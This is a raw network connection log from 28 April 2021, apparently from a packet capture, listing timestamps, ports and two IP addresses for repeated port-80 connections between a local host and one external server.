Apr 28, 2021 23:23:25.928587914 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928613901 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928641081 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928656101 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928731918 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928888083 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928952932 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928956985 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928992987 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.929019928 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.929054022 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.929126024 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.929153919 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.929177999 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.929182053 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.929203987 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.929238081 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.960381985 CEST	80	49946	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.963965893 CEST	80	49946	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.964375973 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.026350975 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.026809931 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.026890039 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.026906967 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.026983023 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.026993990 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.027466059 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.027642012 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.027968884 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028156996 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028280020 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028513908 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028640985 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028841972 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.028868914 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029242039 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029480934 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029664040 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029680967 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029839039 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.029999971 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.030204058 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.030560970 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.030678988 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.030745029 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.032661915 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.032792091 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.075784922 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.076982975 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.132440090 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.132534981 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.173975945 CEST	80	49948	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.174081087 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.174561977 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.175683022 CEST	80	49946	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.175796986 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.271397114 CEST	80	49948	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.274586916 CEST	80	49948	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.274661064 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.380912066 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.382124901 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.477879047 CEST	80	49948	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.478008032 CEST	49948	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.479737997 CEST	80	49949	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.479875088 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.480421066 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.579652071 CEST	80	49949	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.583805084 CEST	80	49949	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.584192991 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.695030928 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.696964025 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.792661905 CEST	80	49949	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.792844057 CEST	49949	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.792932034 CEST	80	49950	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.793029070 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.794331074 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:26.891732931 CEST	80	49950	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.895176888 CEST	80	49950	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:26.895262957 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.006095886 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.007184029 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.101913929 CEST	80	49950	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.102032900 CEST	49950	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.104310989 CEST	80	49951	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.104425907 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.106225967 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.203463078 CEST	80	49951	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.206912041 CEST	80	49951	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.206994057 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.318867922 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.321261883 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.416090012 CEST	80	49951	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.416178942 CEST	49951	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.420586109 CEST	80	49953	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.420717001 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.421433926 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.522630930 CEST	80	49953	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.526065111 CEST	80	49953	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.526176929 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.631506920 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.632864952 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.730834961 CEST	80	49954	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.731369019 CEST	80	49953	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.731456995 CEST	49953	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.734397888 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.734416008 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.831336975 CEST	80	49954	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.834666014 CEST	80	49954	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:27.835408926 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.944686890 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:27.945085049 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.043375969 CEST	80	49954	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.043456078 CEST	80	49955	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.043632030 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.043834925 CEST	49954	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.044203997 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.141745090 CEST	80	49955	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.145376921 CEST	80	49955	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.145567894 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.256566048 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.258246899 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.354193926 CEST	80	49955	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.354293108 CEST	49955	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.357990026 CEST	80	49956	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.358192921 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.361458063 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.466017962 CEST	80	49956	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.468310118 CEST	80	49956	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.468396902 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.589931965 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.591502905 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.687305927 CEST	80	49957	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.687431097 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.688282013 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.689505100 CEST	80	49956	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.689598083 CEST	49956	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.784270048 CEST	80	49957	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.787620068 CEST	80	49957	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.787744045 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.897344112 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.898410082 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.948266983 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.993262053 CEST	80	49957	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.993375063 CEST	49957	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.998313904 CEST	80	49958	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:28.998564959 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:28.999339104 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.048409939 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.048520088 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.048799992 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.099481106 CEST	80	49958	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.103708029 CEST	80	49958	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.103887081 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.149102926 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.149230003 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.149518967 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.149955988 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.150005102 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.150029898 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.150198936 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.150273085 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.150511980 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.150587082 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.150782108 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.150847912 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.151063919 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.151119947 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.151259899 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.151314974 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.151316881 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.151500940 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.151597023 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.226624012 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.232287884 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.251241922 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.251610994 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.251624107 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.251708031 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.251849890 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.251884937 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.251904011 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.251945019 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.251970053 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.252299070 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.252379894 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.252482891 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.252537012 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.252650023 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.252665997 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.252708912 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.252752066 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.253269911 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.253293991 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.253309965 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.253411055 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.253565073 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.253635883 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.253762007 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.254076004 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.329056978 CEST	80	49958	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.329164982 CEST	49958	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.329309940 CEST	80	49960	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.329395056 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.330045938 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.351352930 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.351655006 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.351715088 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.351758003 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.351953983 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.351973057 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.351989031 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352072954 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.352108955 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.352210999 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352226973 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352293015 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.352377892 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352397919 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352459908 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.352617979 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352634907 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.352709055 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.352752924 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353219986 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353250980 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353269100 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353338957 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.353370905 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.353521109 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353688002 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353705883 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.353781939 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.354057074 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.429702997 CEST	80	49960	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.433378935 CEST	80	49960	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.433538914 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.453444958 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.453483105 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.453602076 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.453622103 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454013109 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454071045 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454087973 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454284906 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454307079 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.454814911 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455131054 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455153942 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455229998 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455270052 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455693960 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455715895 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.455729961 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.456180096 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.456204891 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.456887960 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.457035065 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.457108021 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.457184076 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.457516909 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.458952904 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.459206104 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.538527012 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.538527966 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.559108019 CEST	80	49959	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.559199095 CEST	49959	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.636842966 CEST	80	49960	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.636873960 CEST	80	49962	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.636948109 CEST	49960	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.636991024 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.638082027 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.735104084 CEST	80	49962	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.738553047 CEST	80	49962	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.739399910 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.849961996 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.851200104 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.946758032 CEST	80	49962	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.947124004 CEST	49962	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.951191902 CEST	80	49963	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:29.951289892 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:29.951824903 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.051896095 CEST	80	49963	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.055701971 CEST	80	49963	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.057137012 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.162686110 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.163785934 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.257121086 CEST	80	49964	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.258683920 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.259459972 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.262586117 CEST	80	49963	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.263492107 CEST	49963	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.352762938 CEST	80	49964	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.356358051 CEST	80	49964	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.356621027 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.459456921 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.461016893 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.552767992 CEST	80	49964	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.552926064 CEST	49964	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.560658932 CEST	80	49965	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.560794115 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.561480999 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.661710024 CEST	80	49965	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.665523052 CEST	80	49965	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.666223049 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.773214102 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.774818897 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.873722076 CEST	80	49966	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.874455929 CEST	80	49965	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.874845028 CEST	49965	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.875511885 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.875529051 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:30.972894907 CEST	80	49966	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.976270914 CEST	80	49966	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:30.976521969 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.087989092 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.089191914 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.185398102 CEST	80	49966	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.185616970 CEST	49966	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.186320066 CEST	80	49968	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.186650991 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.187347889 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.284202099 CEST	80	49968	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.288309097 CEST	80	49968	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.288402081 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.397176027 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.398672104 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.495470047 CEST	80	49968	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.495601892 CEST	49968	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.500624895 CEST	80	49969	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.500864029 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.501538992 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.601845980 CEST	80	49969	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.605528116 CEST	80	49969	176.111.174.114	192.168.2.5
